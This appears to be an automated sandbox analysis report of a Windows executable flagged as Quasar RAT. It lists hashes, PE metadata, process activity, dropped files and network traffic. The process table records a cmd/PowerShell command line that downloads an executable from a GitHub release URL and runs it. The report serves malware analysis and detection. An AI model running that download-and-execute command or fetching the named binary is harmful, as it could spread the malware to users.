| File name: | main.exe |
| Full analysis: | https://app.any.run/tasks/4e7057c1-983f-4f88-adc9-c1f91737f221 |
| Verdict: | Malicious activity |
| Threats: | Quasar is a very popular RAT in the world thanks to its code being available in open-source. This malware can be used to control the victim’s computer remotely. |
| Analysis date: | May 18, 2025, 09:11:03 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32+ executable (console) x86-64, for MS Windows, 19 sections |
| MD5: | 9E751C00902A417AD91C9639680E2626 |
| SHA1: | 8EDADF7D21BBC08A187E221DC9B8A79C0EDB74FF |
| SHA256: | F2587360A6FB584DCEB941A87B5242A9210BDA8AC1A0D5082D602DD5D0D2A614 |
| SSDEEP: | 24576:0LpvSwGlzktN+VbX+TkkUkW5kQ3UuUAEpQCA+Ec0xMk58UsU3Ao3TnidKqcdh+:0LphGlzktN+VbuTk/LfwOTnidKqcdh+ |
MALICIOUS
QUASAR mutex has been found
- main.exe (PID: 5508)
SUSPICIOUS
Downloads file from URI via Powershell
- powershell.exe (PID: 5972)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 5868)
Starts CMD.EXE for commands execution
- main.exe (PID: 5508)
INFO
Disables trace logs
- powershell.exe (PID: 5972)
Checks proxy server information
- slui.exe (PID: 5548)
- powershell.exe (PID: 5972)
Reads the software policy settings
- slui.exe (PID: 5548)
- slui.exe (PID: 5512)
Checks supported languages
- main.exe (PID: 5508)
- zed.exe (PID: 6964)
Creates files or folders in the user directory
- zed.exe (PID: 6964)
Reads the computer name
- zed.exe (PID: 6964)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .exe | | | Win64 Executable (generic) (87.3) |
|---|---|---|
| .exe | | | Generic Win/DOS Executable (6.3) |
| .exe | | | DOS Executable Generic (6.3) |
EXIF
EXE
| MachineType: | AMD AMD64 |
|---|---|
| TimeStamp: | 2025:05:18 09:10:30+00:00 |
| ImageFileCharacteristics: | Executable, No line numbers, Large address aware |
| PEType: | PE32+ |
| LinkerVersion: | 2.36 |
| CodeSize: | 839168 |
| InitializedDataSize: | 1056768 |
| UninitializedDataSize: | 4096 |
| EntryPoint: | 0x14e0 |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 5.2 |
| Subsystem: | Windows command line |
Total processes
140
Monitored processes
9
Malicious processes
1
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 780 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Exit code: 0 Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 4868 | C:\WINDOWS\System32\rundll32.exe C:\WINDOWS\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding | C:\Windows\System32\rundll32.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5072 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | main.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5508 | "C:\Users\admin\AppData\Local\Temp\main.exe" | C:\Users\admin\AppData\Local\Temp\main.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 5512 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Exit code: 1 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5548 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5868 | C:\WINDOWS\system32\cmd.exe /c powershell -Command "Invoke-WebRequest -Uri 'https://github.com/superboxes/zed-windows/releases/download/v1.2.6/zed.exe' -OutFile 'zed.exe'" | C:\Windows\System32\cmd.exe | — | main.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5972 | powershell -Command "Invoke-WebRequest -Uri 'https://github.com/superboxes/zed-windows/releases/download/v1.2.6/zed.exe' -OutFile 'zed.exe'" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6964 | "zed.exe" | C:\Users\admin\AppData\Local\Temp\zed.exe | — | main.exe | |||||||||||
User: admin Integrity Level: MEDIUM Description: Zed Exit code: 101 Version: 0.169.0 Modules
| |||||||||||||||
Total events
5 806
Read events
5 806
Write events
0
Delete events
0
Modification events
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 5972 | powershell.exe | C:\Users\admin\AppData\Local\Temp\zed.exe | — | |
MD5:— | SHA256:— | |||
| 5972 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_jvqxjgyx.foi.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 6964 | zed.exe | C:\Users\admin\AppData\Local\Zed\logs\Zed.log | text | |
MD5:E6236059946ABC4C80731F18BFC9471B | SHA256:599A75F6EB704565B1910141326F20A28C28E85D8FAD06C5B7ADFB93DD5AAF30 | |||
| 5972 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_4d0a0h3i.2ph.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 5972 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:0D3390AA37A8550ECAD8B7168151A9C4 | SHA256:F3B13A7085DD1ED70667490D69708FC037765DFCC1B0DA87F730C5455B00192D | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
29
DNS requests
22
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
— | — | GET | 200 | 23.216.77.36:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.216.77.36:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2104 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5800 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
5800 | SIHClient.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
2924 | SearchApp.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 2.17.190.73:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
— | — | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 23.216.77.36:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 23.216.77.36:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5496 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
— | — | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2104 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5972 | powershell.exe | 140.82.121.3:443 | github.com | GITHUB | US | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
github.com |
| whitelisted |
objects.githubusercontent.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
activation-v2.sls.microsoft.com |
| whitelisted |